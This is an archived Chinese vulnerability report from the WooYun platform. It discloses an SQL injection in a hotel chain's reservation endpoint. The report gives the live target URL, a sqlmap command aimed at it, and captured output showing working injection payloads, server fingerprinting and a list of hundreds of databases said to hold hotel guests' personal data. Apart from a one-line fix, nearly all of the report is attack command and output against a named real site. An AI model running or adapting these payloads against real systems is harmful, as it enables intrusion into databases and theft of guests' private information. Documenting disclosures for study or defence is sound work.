当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0113801

漏洞标题:广州岭南佳园连锁酒店有限公司官网注入漏洞导致该集团下大量网站数据库和个人信息泄露

相关厂商:广州岭南佳园连锁酒店有限公司

漏洞作者: 打电话叫人

提交时间:2015-05-13 11:36

修复时间:2015-06-27 11:38

公开时间:2015-06-27 11:38

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-05-13: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-06-27: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

广州岭南佳园连锁酒店有限公司主站是基于php+MySQL搭建,该网站存在一个sql注入漏洞,可导致该集团下面数百个网站数据库和大量个人酒店入住信息被泄露。

详细说明:

该注入点的类型是属于布尔型盲注,该数据库下存在900个数据库,主要是该集团下面的各个网站的数据库还有大量的酒店入住人员信息。

漏洞证明:

注入点:http://www.gardeninns.com.cn/hotel/QuickReservationAjax.php?checkInDate=2015-05-13&checkOutDate=2015-05-14&hotelId=1&roomQuantity=1
基于的是hotelId参数
sqlmap注入如下:
sqlmap -u "http://www.gardeninns.com.cn//hotel/QuickReservationAjax.php?checkInDate=2015-05-13&checkOutDate=2015-05-14&hotelId=1&roomQuantity=1" --dbs _
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150403}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 13:02:49
[13:02:49] [INFO] resuming back-end DBMS 'mysql'
[13:02:49] [INFO] testing connection to the target URL
[13:02:55] [INFO] heuristics detected web page charset 'ascii'
[13:03:25] [CRITICAL] heuristics detected that the target is protected by some kind of WAF/IPS/IDS
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: hotelId (GET)
Type: boolean-based blind
Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE)
Payload: checkInDate=2015-05-13&checkOutDate=2015-05-14&hotelId=1' RLIKE (SELECT (CASE WHEN (6017=6017) THEN 1 ELSE 0x28 END)) AND 'qokC'='qokC&roomQuantity=1
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: checkInDate=2015-05-13&checkOutDate=2015-05-14&hotelId=1' AND (SELECT 5184 FROM(SELECT COUNT(*),CONCAT(0x71787a7871,(SELECT (CASE WHEN (5184=5184) THEN 1 ELSE 0 END)),0x716b7a7a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'Aviu'='Aviu&roomQuantity=1
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 OR time-based blind
Payload: checkInDate=2015-05-13&checkOutDate=2015-05-14&hotelId=-4916' OR 3595=SLEEP(5) AND 'TJkI'='TJkI&roomQuantity=1
---
[13:03:30] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 6.5
web application technology: PHP 5.3.3, Apache 2.2.15
back-end DBMS: MySQL 5.0
[13:03:30] [INFO] fetching database names
[13:03:30] [INFO] the SQL query used returns 974 entries
[13:03:32] [INFO] heuristics detected web page charset 'utf-8'
[13:03:32] [INFO] retrieved: www_tjgjhotel_com
^C
[13:03:42] [WARNING] user aborted during enumeration. sqlmap will display partial output
available databases [784]:
[*] ashar_asharhotels_com
[*] austraders_harathotels_com
[*] booking_123ww_cn
[*] booking_1390793_com
[*] booking_1j99_com
[*] booking_binyuehotel_com
[*] booking_bjszhotel_com
[*] booking_bonainn_com
[*] booking_cdlanbao_com
[*] booking_dejiahotel_com
[*] booking_dthaohai_com
[*] booking_dunhuangshanzhuang_com
[*] booking_furama_com_cn
[*] booking_fuxinhotel_com
[*] booking_fzgrandhotel_cn
[*] booking_gangyue_com
[*] booking_gnhls_com
[*] booking_grand-hotel_cn
[*] booking_gzjyhotel_com
[*] booking_hailunhotel_com
[*] booking_haimandao_com
[*] booking_haisheng2008_com
[*] booking_harvestseaview_com
[*] booking_hcmhjd_com
[*] booking_homelandhotel_com
[*] booking_hoteldongfang_com
[*] booking_hutonginns_com
[*] booking_jc-hotel_com
[*] booking_jgsjthotel_com
[*] booking_jiajiehotel_com
[*] booking_jjdjd_com
[*] booking_jjlhotel_com
[*] booking_jqhtfd_com
[*] booking_jtyhotel_com
[*] booking_jxgmhotel_com
[*] booking_ky-hotel_com
[*] booking_lansekuaizhou_com
[*] booking_lbkhotel_com
[*] booking_lotusplacehotel_com
[*] booking_mini-hotel_net
[*] booking_newphoenix_cn
[*] booking_nhdshy_cn
[*] booking_njjqwenquan_com
[*] booking_nmgjybg_com_cn
[*] booking_qiananjinjianghotel
[*] booking_qyking_cn
[*] booking_raa_com_cn
[*] booking_renjihotel_com
[*] booking_resortgp_com
[*] booking_rosehotel_com_cn
[*] booking_rzdcjy_com
[*] booking_sunnyholidayinn_com
[*] booking_szmyhotel_com
[*] booking_tljd21_com
[*] booking_trjhotel_com
[*] booking_xiao-xia_com
[*] booking_yaduhotel_com
[*] booking_yinglianhotel_com
[*] booking_yuccahotel_com
[*] cdcol
[*] crs_degashotel_com
[*] danba_318h_com
[*] dingfang_rujiahostel_com
[*] ebooking_royalmarinaplaza_com
[*] foshan_agilehotel_com_cn
[*] hongji_aiwei-hotel_com
[*] hongqiang_ynyiyuanhotel_com
[*] hongyuan_318h_com
[*] hotel_thbooking_com
[*] information_schema
[*] jadeislandconferencecenter_com
[*] kiwi_harathotels_com
[*] lanhai_lanhaidujia_com
[*] longmai_exam
[*] mysql
[*] nlds_njfu_edu_cn
[*] phpmyadmin
[*] qlsz_qksj_com
[*] suncastle_wdhotel_com
[*] sunhundred_416_com_cn
[*] taida_ynyiyuanhotel_com
[*] test
[*] tianti_dfhotspringhotel_com
[*] webauth
[*] www_028shy_com
[*] www_100hotel_cc
[*] www_178hs_cn
[*] www_318h_com
[*] www_4006610888_com
[*] www_4008110531_com
[*] www_52-hotel_com
[*] www_6877777_com
[*] www_6add1_com
[*] www_7nights_com_cn
[*] www_8-hotel_com
[*] www_86822588_com
[*] www_88inn_com_cn
[*] www_91motel_com
[*] www_999hotel_com_cn
[*] www_a-h-e_com_cn
[*] www_a-h-e_com_cn1
[*] www_acembassyhotel_com
[*] www_afxhotel_com
[*] www_ainnhome_com
[*] www_aiwei-hotel_com
[*] www_antaihotel_net
[*] www_aoyouhotel_com
[*] www_aoyuangolfhotel_com
[*] www_apollohotel_com_cn
[*] www_applehotels_com_cn
[*] www_aqdjd_com
[*] www_aqmotel_cn
[*] www_asharhotels_com
[*] www_azgyjd_com
[*] www_backmyhome_cn
[*] www_baihuashijia_com
[*] www_bailaimaresort_com
[*] www_baishichunqiu_cn
[*] www_baminhotel_com
[*] www_bandaoinn_com
[*] www_bangtaihotel_com
[*] www_baofenghotel_com_cn
[*] www_baohaihotel_com_cn
[*] www_baotouqingshanhotel_com
[*] www_bb-inn_com_cn
[*] www_bdhjhy_com
[*] www_bdhzgh_com
[*] www_beirenhotel_com_cn
[*] www_beiwei40hotel_com
[*] www_best-sleep_com
[*] www_bfbhotel_com
[*] www_bflyhotel_com
[*] www_bj-guangdonghotel_com
[*] www_bjchhotel_com_cn
[*] www_bjcqhotel_com_cn
[*] www_bjcsnhotel_com
[*] www_bjddhotel_com
[*] www_bjeasterninn_com
[*] www_bjforestland_net
[*] www_bjfuhaohotel_com
[*] www_bjfuxuehotel_com
[*] www_bjgthotel_com
[*] www_bjguoxinyuanhotel_com
[*] www_bjh8_cn
[*] www_bjhcjj_com
[*] www_bjhnswjd_com
[*] www_bjjingminghotel_com
[*] www_bjjzhotel_com
[*] www_bjldbonechina_com
[*] www_bjminxin_com
[*] www_bjmulinghotel_com
[*] www_bjmyfd_com
[*] www_bjpphotel_com_cn
[*] www_bjrthotel_com
[*] www_bjruyihotel_com_cn
[*] www_bjshangyuanhotel_com_cn
[*] www_bjshihuahotel_com
[*] www_bjsyja_com
[*] www_bjweifangbinguan_com
[*] www_bjxsmy_com
[*] www_bjyihaohotel_com
[*] www_bjyindu_com
[*] www_bjytbg_com
[*] www_bjzhixinhotel_com
[*] www_bl-hotel_com_cn
[*] www_bmxhotel_com
[*] www_bndlhotel_cn
[*] www_bohaiinternational_com
[*] www_bohehotel_com
[*] www_boluohotel_cn
[*] www_bsythotel_com
[*] www_btxyhotel_com
[*] www_btydhotel_com
[*] www_bythotel_com
[*] www_cangzhouhotel_com
[*] www_carolhotel_com
[*] www_cd100hotel_com
[*] www_cd3p-hotel_com
[*] www_cdemshotel_com
[*] www_cdfuyuanhotel_com
[*] www_cdhlbg_com
[*] www_cdhomeinn_com
[*] www_cdhuaxihotel_com
[*] www_cdjiancaihotel_com
[*] www_cdjiuzhouhotel_com
[*] www_cdpuren_com
[*] www_cdruixinhotel_com
[*] www_cdshuduhotel_com
[*] www_cdxfhotel_com
[*] www_cdxiangxihotel_com
[*] www_cdxinhuahotel_com
[*] www_cdzhongyuanhotel_com
[*] www_cdzjjhotel_com
[*] www_cdzsyf_com
[*] www_cdzsyf_com;
[*] www_centerhotel_com
[*] www_centurygardenhotel_com
[*] www_chengdedashahotel_cn
[*] www_chengdehotel_com
[*] www_chengminghotel_com
[*] www_chengqihotel_cn
[*] www_chengshizhijia_com
[*] www_chengyuan-hotel_com
[*] www_chengyuanhotel_cn
[*] www_chengyuanhotel_com
[*] www_chenyuanhotel_com
[*] www_chiganghotel_com
[*] www_chinaapmc_com
[*] www_chinaharvey_com
[*] www_chinajinduhotel_com
[*] www_chinalinehotels_com
[*] www_chongbaihotel_com
[*] www_chuangyehotel_com
[*] www_chuanhuihotel_com
[*] www_chuanlonghotel_com
[*] www_chunduhotel_com
[*] www_chunyihotel_com
[*] www_cjagilehotel_com_cn
[*] www_conifer-lijiang_com
[*] www_conilyinn_com
[*] www_cosycityhotels_com
[*] www_cqbyj_com
[*] www_cqghotel_com
[*] www_cqgreen_com
[*] www_cqhaban_com
[*] www_cqhomey_cn
[*] www_cqkyhotel_com
[*] www_cqnfhy_com
[*] www_cqsighotel_com
[*] www_cqsmhotel_com
[*] www_cqyian_com_cn
[*] www_csnyfzhotel_com
[*] www_csphotels_com
[*] www_cvexpress-yantai_com
[*] www_cvhotel-nantong_com
[*] www_cvhotel-qingdao_com
[*] www_cvhotel-yt_com
[*] www_czhotel_com_cn
[*] www_czyhhotel_com
[*] www_dachenghotel_com
[*] www_dalianibishotel_com
[*] www_daoyuanhotel_com
[*] www_daxianhotel_com
[*] www_dayouhotel_com
[*] www_dazhongairporthotel_com
[*] www_dazhonghotel_com
[*] www_dazhongmerrylin_com
[*] www_dfblhotel_com
[*] www_dfhotspringhotel_com
[*] www_dfjrhotel_com
[*] www_dfwlhotel_com
[*] www_dfyyhotel_com
[*] www_dgbtm_com
[*] www_diaoyutaihuatian-hotel_com
[*] www_dihaohotel_cn
[*] www_dingsheng-hotel_cn
[*] www_diyout_com
[*] www_dlgxhotel_com
[*] www_dlyuyuanhotel_com
[*] www_donghaohotel_com
[*] www_dongjiao_net
[*] www_dongquanhotel_com
[*] www_dreamland-resort_com_cn
[*] www_dreamstarhotel_com
[*] www_dskjhotel_com
[*] www_duobaohotel_com
[*] www_duobaohotels_com
[*] www_eastern-hotel_com
[*] www_easternhotel_com_cn
[*] www_easy-inn-hubin_cn
[*] www_easy-inn-huicheng_com_cn
[*] www_elpy_cn
[*] www_emjyhotel_com
[*] www_emshongji_com
[*] www_emsshenlong_com
[*] www_emsyhotel_com
[*] www_escargotel_com_cn
[*] www_eyeinn_com
[*] www_fanggehotel_com
[*] www_fangjiehotels_com
[*] www_fbihotel_com
[*] www_fdcthotel_com
[*] www_fengtaihotel_com
[*] www_fengxihotel_com
[*] www_fh-fengdouhotel_com
[*] www_fh-hotel_com
[*] www_fhjintianhotel_com
[*] www_fhjt-hotel_com
[*] www_fhmsdjd_com
[*] www_fjjmhotel_cn
[*] www_fjzj-hotel_com
[*] www_flhotel_com_cn
[*] www_fotelclass_com
[*] www_frasershenzhen_com
[*] www_fsjinmaohotel_com
[*] www_fsxuangonghotel_com
[*] www_fujiahotel_com
[*] www_furama_com_cn
[*] www_furunhotel_com
[*] www_fuwahotels_com
[*] www_fxjrh_com
[*] www_fz-hotel_com
[*] www_gaoduhotel_cn
[*] www_gaoliancityhotel_com
[*] www_garden-hotel_net_cn
[*] www_gardenavenuehotel_com
[*] www_gardeninns_com_cn
[*] www_gbnhotel_com
[*] www_gch_net_cn
[*] www_gczyhotel_com
[*] www_gddyhotel_com
[*] www_gdjiaxinhotel_com
[*] www_gdsunhotel_com
[*] www_gdyalanhotel_com
[*] www_geneva-mj_com
[*] www_geneva-zs_com
[*] www_ghuahotel_cn
[*] www_glguijiangjd_com
[*] www_gljl_net
[*] www_glplt_com
[*] www_golden_com_cn
[*] www_goldhotel_com_cn
[*] www_grandchuhotel_com_cn
[*] www_grandlijianghotel_com
[*] www_grandorientalhotel_cn
[*] www_guangcaihotel_com
[*] www_guangdong-hotel_com
[*] www_guanglaifuhotel_com
[*] www_guanglilaihotel_com
[*] www_guilin0773_cn
[*] www_gujuhotel_com
[*] www_guomen-hotel_com_cn
[*] www_gw-hotel_com
[*] www_gyyingbinguan_com
[*] www_gzbaolifeng_cn
[*] www_gzbohaohotel_com
[*] www_gzbxhotel_com
[*] www_gzchangchenghotel_com
[*] www_gzdebaohotel_cn
[*] www_gzdunhehotel_com
[*] www_gzguanghuahotel_com
[*] www_gzguangyuanhotel_com
[*] www_gzhomehotel_com
[*] www_gzhongyunhotel_com
[*] www_gzhuadahotel_com
[*] www_gzhuadi_com_cn
[*] www_gzhuatianhotel_com
[*] www_gzhuayuehotel_com
[*] www_gzhubinhotel_com
[*] www_gzjdhotels_com
[*] www_gzjilv_com
[*] www_gzjindu_com
[*] www_gzjingu_com
[*] www_gznthotel_com
[*] www_gzpaco_com
[*] www_gzvenicehotel_com
[*] www_gzxintinghotel_com
[*] www_gzxyjd_cn
[*] www_gzyinghaohotel_com
[*] www_hainanparadise_com
[*] www_hairshow_cn
[*] www_haiyida_com_cn
[*] www_haiyunjj-hotel_com
[*] www_hanchenghotel_com
[*] www_hanfenghotel_com
[*] www_hangminhotel_com
[*] www_hangtianhotel_com
[*] www_hankarhotel_com
[*] www_haoduhotel_com
[*] www_haohui_com_cn
[*] www_harathotels_com
[*] www_harbor-hotel_com
[*] www_harborhotel_com_cn
[*] www_harmony-hotel_net
[*] www_hbbaiyunhotel_com
[*] www_hbnhotel_com
[*] www_hdgjdjd_com
[*] www_heduhotel_com
[*] www_hejinghotel_com
[*] www_hengfulai_com
[*] www_hexiehotel_com
[*] www_hexieqiyuanhotel_com
[*] www_hfghotel_com_cn
[*] www_hgszjd_com
[*] www_hhzhdhotel_com
[*] www_highsunhotel_com_cn
[*] www_hitime-inn_cn
[*] www_hjhaclub_com
[*] www_hjswhotel_com
[*] www_hkcflf_com
[*] www_hkinn-conglv_com
[*] www_hlszhotel_com
[*] www_hmjrhotel_com
[*] www_hnbrhotel_com
[*] www_hnccbg_com
[*] www_hnhp_cn
[*] www_hnjhsyhotel_com
[*] www_hnylwhotel_com
[*] www_hongduhotel_com
[*] www_hongganghotel_cn
[*] www_hongrundahotel_com
[*] www_honluxci_com
[*] www_hotel-elan_com
[*] www_hotel163_net
[*] www_hotel_air777_com_cn
[*] www_hotel_gd_cn
[*] www_hotelbrugge_com_cn
[*] www_hotelch_cn
[*] www_hotelhs_cn
[*] www_hotelkaying_com
[*] www_hotelroyal_cn
[*] www_hotelsdongfang_com
[*] www_hotelunion_com_cn
[*] www_hplhotel_com
[*] www_hryhotel_com
[*] www_hsgsswjd_com
[*] www_hsjinlunhotel_com_cn
[*] www_hsxchotel_com
[*] www_huachenhotel_com
[*] www_huajuehotel_com
[*] www_huapont-hotel_com
[*] www_huaqiaohotel_com
[*] www_huatingtimes_com
[*] www_huaxiangguoji_com
[*] www_huayuhotels_com
[*] www_huifenghotel_com_cn
[*] www_huifuhotel_com_cn
[*] www_huilanfeng_com
[*] www_huitianinn_com
[*] www_hululuhotel_com
[*] www_husthotel_com
[*] www_hwj-hotel_com
[*] www_hybresort_com
[*] www_hz5766_com
[*] www_hzbi-hotel_com
[*] www_hzemgrandhtl_com
[*] www_hzhotel_com_cn
[*] www_hzjhyhotel_com
[*] www_hzsdjr_com_cn
[*] www_hzxinyuanhotel_com
[*] www_ibishotel-sy_com
[*] www_ibrtower_com
[*] www_ivyholidayinn_com
[*] www_jasmine-hotel_com
[*] www_jbthotel_com
[*] www_jc138inns_com
[*] www_jcwhhotel_com
[*] www_jczlszhotel_com
[*] www_jdihotel_com
[*] www_jdzhotel_com
[*] www_jdzss_com
[*] www_jfljhotels_com
[*] www_jgsjyhotel_com
[*] www_jhhotels_com_cn
[*] www_jiajiehotel_com
[*] www_jialanhotels_com
[*] www_jialihuainn_com
[*] www_jiangfenghotel_com
[*] www_jiangronghotel_com
[*] www_jiangyue-hotel_com
[*] www_jianliharmonyhotel_com
[*] www_jiarihotel_com
[*] www_jiataimeihotel_com
[*] www_jiazhixing_com_cn
[*] www_jiazhouhotel_cn
[*] www_jiehonghotel_com
[*] www_jin-hui_com
[*] www_jinbaohotel_com
[*] www_jinchenghotel_cn
[*] www_jinchenhotel_com
[*] www_jindihotel_com_cn
[*] www_jinghu-hotel_com
[*] www_jingminghotel_com
[*] www_jingtian-hotel_com
[*] www_jinguohotel_com
[*] www_jingyihotel_com
[*] www_jingyuanhotels_com
[*] www_jingyuanjiudian_com
[*] www_jingzhehotel_com
[*] www_jinhai-hotel_com
[*] www_jinhuhotel_cn
[*] www_jinhuids_com
[*] www_jinjuhotel_com
[*] www_jinkaiyihotel_cn
[*] www_jinlin-hotel_com
[*] www_jinlongtanhotel_com
[*] www_jinlun-hotel_com
[*] www_jinmolihotel_com
[*] www_jinrong-hotel_cn
[*] www_jinsuihotel_com
[*] www_jinxiuyuan_com_cn
[*] www_jinxuanhotels_com
[*] www_jinyi-hotel_com_cn
[*] www_jinyuanbinguan_cn
[*] www_jinyuelijiahotel_com_cn
[*] www_jinzuohotel_com
[*] www_jiudiangongyu_com
[*] www_jk-regency-hotel_com
[*] www_jldhotel_cn
[*] www_jljrhotel_com
[*] www_jlkjhotel_com
[*] www_jmswhotel_com
[*] www_jmw-hotel_com
[*] www_jnzhong-an_com
[*] www_jqhotel_cn
[*] www_jrhy_net
[*] www_jrjgy_com_cn
[*] www_jrlhotel_com
[*] www_jsbxhotel_com
[*] www_jsjrhotel_com
[*] www_jsmeisu_com
[*] www_jsmyhotel_com
[*] www_jswzhotel_cn
[*] www_jsyyhotel_com
[*] www_jthldhotel_com
[*] www_jtswjd_com
[*] www_junan2006_com
[*] www_junengbinguan_com_cn
[*] www_junjiahotel_com
[*] www_junwangfuhotel_com
[*] www_junyi-hotel_com
[*] www_junyihotel_com
[*] www_junyuehotel_com
[*] www_juxinhotel_com_cn
[*] www_jwihotel_com
[*] www_jxjjd_com
[*] www_jxjyhotel_com
[*] www_jxmorrlhotel_com
[*] www_jxsqshotel_com
[*] www_jxyinlonghotel_com
[*] www_jyggcjr_com
[*] www_jyggjhotel_com
[*] www_jyggthotel_com
[*] www_jyljhotel_cn
[*] www_jzgjlhotel_com
[*] www_kaibinhotel_com
[*] www_kerenhotel_com
[*] www_kezhouhotel_com
[*] www_kghotel_net
[*] www_khsjhotel_com_cn
[*] www_kikyhotel_com
[*] www_kinggarden_net
[*] www_kinghome-hotel_com
[*] www_kingslandhotel_com_cn
[*] www_kingston-hotel_cn
[*] www_kingwutong_com
[*] www_klhotel_net
[*] www_kllhotel_com
[*] www_kmgfhotel_com
[*] www_kmjindahotel_com
[*] www_ksramada_com
[*] www_kunmingtianhe_com
[*] www_kunyuanhotel_com
[*] www_kyintl_com
[*] www_landmark-zhuhai_com
[*] www_landsmanhotel_com
[*] www_langshaninns_com
[*] www_lanhaidujia_com
[*] www_lasahuaxia_com
[*] www_lekaihotel_com
[*] www_lftianduhotel_com_cn
[*] www_liangjingjinghotel_com
[*] www_liangyouhotel_com
[*] www_liangyunhotel_com
[*] www_lihuagrandhotel_com
[*] www_lijianghotel_com
[*] www_lijianghotels_cn
[*] www_lilacsuites_com
[*] www_lintonghotel_com
[*] www_lirenhotel_com
[*] www_lishanhotel_com
[*] www_liyuanguoji_com
[*] www_liyun-hotel_com
[*] www_lj-ggjd_com
[*] www_ljhotel_cn
[*] www_ljlichenghotel_com
[*] www_lkmzhotel_com
[*] www_lnghds_com
[*] www_lnmansion_com
[*] www_longhaihotels-resorts_com
[*] www_longmai-wenquan_com
[*] www_longwuhotel_com
[*] www_longyuehotel_com
[*] www_lotusvillas_com
[*] www_lq2000_com
[*] www_lqhhotel_com
[*] www_lsxgll_com
[*] www_lt-jd_cn
[*] www_luhonghotel_com
[*] www_luohuyuanhotel_com
[*] www_lxyhotel_com
[*] www_lyhotel_com_cn
[*] www_lykaiyuanhotel_com
[*] www_lypeonyhotel_net
[*] www_lzjchotel_com
[*] www_lzjlhotel_com
[*] www_lznyhotel_com
[*] www_macathotel_com
[*] www_maplehotel_com_cn
[*] www_mdjfd_com_cn
[*] www_megaeon_com
[*] www_meijialxs_com
[*] www_meiluhotel_com
[*] www_meiyahotel_com
[*] www_meiyihotel_com
[*] www_meiyuan-hotel_com_cn
[*] www_mengxihotel_net
[*] www_mhctr_com
[*] www_millanhotel_com
[*] www_mingluhotel_com
[*] www_mingzhuspa_com
[*] www_mini-hotel_net
[*] www_miracleislandhotel_com
[*] www_mrkhotel_com
[*] www_msdjd_com
[*] www_mudu-leeroyalhotel_com
[*] www_muslim-hotel_com
[*] www_mxknhotel_com
[*] www_myseasonhotel_com
[*] www_myswhotel_com
[*] www_nanhuhotel_com_cn
[*] www_nanshuigehotel_com_cn
[*] www_nanxianghotel_com
[*] www_natureinn_com_cn
[*] www_ncmilan_cn
[*] www_ndfhotel_com
[*] www_neijianghotel_com
[*] www_newsplaza_com_cn
[*] www_ningbohotel_com
[*] www_njsahotel_com
[*] www_nm9p_com
[*] www_nwshotel_com
[*] www_nyjd_cn
[*] www_o6o8_com
[*] www_oakhotel_com_cn
[*] www_oceandafuhotel_com
[*] www_oceanhotel_com_cn
[*] www_office-hotel_com
[*] www_okhotelcn_com
[*] www_omldhotel_com
[*] www_paddonhotel_com
[*] www_pazhou-hotel_com
[*] www_pdsyhjghotel_com
[*] www_peachgardenhotel_com
[*] www_pengfeihotel_com
[*] www_pengpenghotel_com
[*] www_phoenixsuyuanhotel_com
[*] www_pinganfu-hotel_com
[*] www_pingshanhotel_cn
[*] www_ptdsparesort_com
[*] www_pvjjhotel_com
[*] www_pydsl_com
[*] www_pyjcn_com
[*] www_pyxychotel_com
[*] www_qdaiqinghai_com
[*] www_qdxingan_com
[*] www_qfgjhotel_com
[*] www_qianyuanhotel_com
[*] www_qianyuhotel_com
[*] www_qianzitong_com
[*] www_qinglonghotel_com
[*] www_qingnianlvguan_com
[*] www_qsshotel_com
[*] www_quelihotel_com
[*] www_qxhotspringresort_com
[*] www_radow-hotel_com
[*] www_railway-hotel_net
[*] www_rainbowhotel_com_cn
[*] www_ramadaencore-wuxi_com
[*] www_ramadaksjs_com
[*] www_ramadakunshan_com
[*] www_ramadash_com
[*] www_ramadawuxi_com
[*] www_red-hotel_com
[*] www_riverside-hotel_com_cn
[*] www_riverviewhotel_net
[*] www_rjzxhotel_com
[*] www_romehotel_cn
[*] www_ronghua-hotel_com
[*] www_royal-garden-hotel_com
[*] www_royalcoasthtl_com
[*] www_royalorchidhotel_cn
[*] www_rrlhotel_com
[*] www_ruichenghotel_com
[*] www_ruierhotel_com
[*] www_ruzhiju_com
[*] www_saijia-hotel_com
[*] www_samosholidayhotel_com
[*] www_sanmaohotel_com
[*] www_sanqinghotel_com_cn
[*] www_sc-huatinghotel_com
[*] www_scdxhotel_com
[*] www_scpth_com
[*] www_scyl-hotel_com_cn
[*] www_sdhotel_com_cn
[*] www_sdmandaringardenhotel_com
[*] www_sdsoho3003_com
[*] www_sdswhotel_com
[*] www_senyuanhotel_com
[*] www_seoulia_cn
[*] www_sfcyhotel_com
[*] www_sh-yf_com
[*] www_shahelou_com
[*] www_shanghaorenjia_com_cn
[*] www_shantouhotels_com_cn
[*] www_shaoshanshengdi_com
[*] www_shengchaohotel_com
[*] www_shihuahotel_com
[*] www_shijiguojian_com
[*] www_shipbuildinghotel_com
[*] www_shlijinghotel_com
[*] www_shsshotel_com
[*] www_shtdhotel_com
[*] www_shtongmaohotel_com
[*] www_shuanglonghotel_com
[*] www_shuangluhotel_com
[*] www_shubohotel_com
[*] www_shuhenghotel_com
[*] www_shxiangyanghotel_com
[*] www_shyufeng_net
[*] www_sichuan-hotel_com
[*] www_silverhorsehotel_com
[*] www_silverworldgroup_com
[*] www_simohotel_com
[*] www_sjrjd_com
[*] www_sjxbinguan_com
[*] www_sjzhuatinghotel_com
[*] www_sjzzyg_com
[*] www_smxjmg_cn
[*] www_snhotels_net
[*] www_somahostel_com
[*] www_sotel-inn_com
[*] www_southunionhotel_com
[*] www_sportsinn_com_cn
[*] www_sqstl_com
[*] www_srxwhotel_com_cn
[*] www_ssgh_com
[*] www_starmoonhotel_com
[*] www_stih_com
[*] www_stlhhotel_com
[*] www_stxhotel_cn
[*] www_sunjoyinn_com
[*] www_sunjoyjmt_com
[*] www_sunjoytel_com
[*] www_sunmoonhotels_com
[*] www_sunnyholidayhotel_com
[*] www_sunonhotel_com
[*] www_suns-hotel_com
[*] www_suotehotel_com
[*] www_suzhouplazahotel_cn
[*] www_sxsqhotel_cn
[*] www_sxyinhaihotel_com
[*] www_sycwqhotel_com
[*] www_syhxjd_com
[*] www_syjianguohotel_com
[*] www_synhotel_com
[*] www_szckhotel_com
[*] www_szfuronghotel_com
[*] www_szhaifuhotel_com
[*] www_szhyhotel_com
[*] www_szjinbi_com
[*] www_szkailihotel_com
[*] www_szxhdhotel_com
[*] www_szxishanhotel_com_cn
[*] www_taddbg_com
[*] www_tailongplazahotel_com
[*] www_tcjinchenghotel_com
[*] www_tcph_cn
[*] www_teahotel_net
[*] www_tfldjd_com
[*] www_tfsunshinehotel_com
[*] www_tggj_com_cn
[*] www_thebridgehotel_com_cn
[*] www_tianbao-hotel_com
[*] www_tianjingeneva_com
[*] www_tianlonghotel_com
[*] www_tianlonghotel_com_cn
[*] www_tianrunjiahuahotel_cn
[*] www_tianti-hotel_com
[*] www_tianxinliang_com
[*] www_tianxiuhotel_com
[*] www_tianxuhotel_com
[*] www_tibethotel_com_cn
[*] www_tjgjhotel_com
注意:裤子很多,这只是部分数据库。
网站后台:

333.png


CRS管理系统后台:

334.png

修复方案:

严格参数过滤,安装防注入套件

版权声明:转载请注明来源 打电话叫人@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝